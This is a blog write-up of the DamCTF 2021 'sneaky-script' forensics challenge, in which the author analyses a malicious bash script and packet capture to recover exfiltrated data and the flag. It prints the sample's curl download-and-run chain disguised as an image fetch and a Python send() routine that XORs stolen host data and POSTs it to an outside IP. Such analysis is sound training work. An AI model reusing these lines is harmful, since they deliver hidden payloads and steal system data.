Christian Leipold/ November 11, 2021/ IT-Security, Write-Ups/ 0Kommentare

DamCTF 2021

malware/sneaky-script (forensics/rev)

captainGeech

We recovered a malicious script from a victim environment.
Can you figure out what it did and if any sensitive information was exfiltrated?
We were able to export some PCAP data from their environment as well.

Downloads
files.zip


Given was a pcap file and a bash script.

-rwxr-xr-x 1 root root     516  5. Nov 05:35 mal.sh
-rwxr-xr-x 1 root root 2820244  5. Nov 05:35 evidence.pcapng

In the script they used curl to download just an image

curl 54.80.43.46/images/banner.png?cache=$(base64 <<< $mac_addr) -H "User-Agent: Mozilla/5.0 (Windows NT ... 

but it was a base64 encoded python script

curl 54.80.43.46/images/banner.png?cache=$(base64 <<< $mac_addr) -H "User-Agent: Mozilla/5.0 (Windows NT ...
base64 -d > /tmp/.cacheimg

they stored it in tmp, executed it, and deleted it afterwards.

curl 54.80.43.46/images/banner.png?cache=$(base64 <<< $mac_addr) -H "User-Agent: Mozilla/5.0 (Windows NT ...
base64 -d > /tmp/.cacheimg
python3 /tmp/.cacheimg
rm -f /tmp/.cacheimg  

So I wrote down the ip address 54.80.43.46 and because data tell you more than 1000 “pictures” I´ve opened my friend wireshark to have a look about that ip.
Picture of the script string

I´ve had a look about the communication to that target. And there I´ve found the next puzzle tile.

So copy paste and a base64 -d later:

I got a file with strange content:

So I ran a file command:

┌──(chris㉿kali)-[~/ctf/DamCTF]
└─$ file decode.txt                                                                                                                                                                                             1 ⚙
decode.txt: python 3.6 byte-compiled

And found that it was a python file but precompiled.

It came to my mind, that maybe it´s a good idea to use a tool called uncomplye6 to get the source code of the file.
And with pip it was very easy to install.

At this time, I cannot remember in every detail about how I came to that solution:

Google search result

Now I can finally have a look about what was the intention of the script:

Beside from:

get_net_info()
get_ssh()
get_users()
get_proc()
def send(data): 

was the important part to find the flag.

In detail:

def send(data):
    c = http.client.HTTPConnection('34.207.187.90')
    p = json.dumps(data).encode()
    k = b'8675309'
    d = bytes([p[i] ^ k[(i % len(k))] for i in range(len(p))])
    c.request('POST', '/upload', base64.b64encode(d))
    x = c.getresponse()

We got another ip address to check with Wireshark.
This time it´s a

POST request to 34.207.187.90/upload

And again, following the TCP stream we got the next part:

This time it was not just base64 but XORed with

k = b'8675309'

side note: not needed for the flag:

The key seamed very familiar to me and so I can now also say “Jenny i´ve got your number”


https://www.youtube.com/watch?v=axLRUszuu9I

or if you like it also bit weirder:


https://www.youtube.com/watch?v=L8pKkpxD7ws&t=90s

And so, with a little help of the original script, it was easy to get the previously stolen data with the flag included:

decode.py
import array, base64

base64_message = "QxRZUEcSAxhtbBdfXxsUF.....shortened>
base64_bytes = base64_message.encode('ascii')
message_bytes = base64.b64decode(base64_bytes)
message = message_bytes.decode('ascii')
k = b'8675309'
d = bytes([message_bytes[i] ^ k[(i % len(k))] for i in range(len(message_bytes))])
print(d.decode('ascii'))
Result:
{"net": [["lo", "127.0.0.1"], ["ens33", "192.168.88.134"]], "proc": [["4725", "/usr/lib/systemd/systemd", "/lib/systemd/systemd --user "], ["4732", "/usr/bin/pulseaudio", "/usr/bin/pulseaudio --daemonize=no --log-target=journal "], ["4734", "/usr/libexec/tracker-miner-fs", "/usr/libexec/tracker-miner-fs "], ["4737", "/usr/bin/dbus-daemon", "/usr/bin/dbus-daemon – 
….
"GNOME_TERMINAL_SCREEN": "/org/gnome/Terminal/screen/20a1c576_0ae5_4a9f_9bed_162e06ba9032", "INVOCATION_ID": "b5c7562742e44663aa23b8d7ef58d4b7", "MANAGERPID": "4725", 
"FLAG": "dam{oh_n0_a1l_muh_k3y5_are_g0n3}", 
"GJS_DEBUG_OUTPUT": "stderr", "LESSCLOSE": "/usr/bin/lesspipe %s %s", "XDG_SESSION_CLASS": "user", "TERM":

Flag: dam{oh_n0_a1l_muh_k3y5_are_g0n3}

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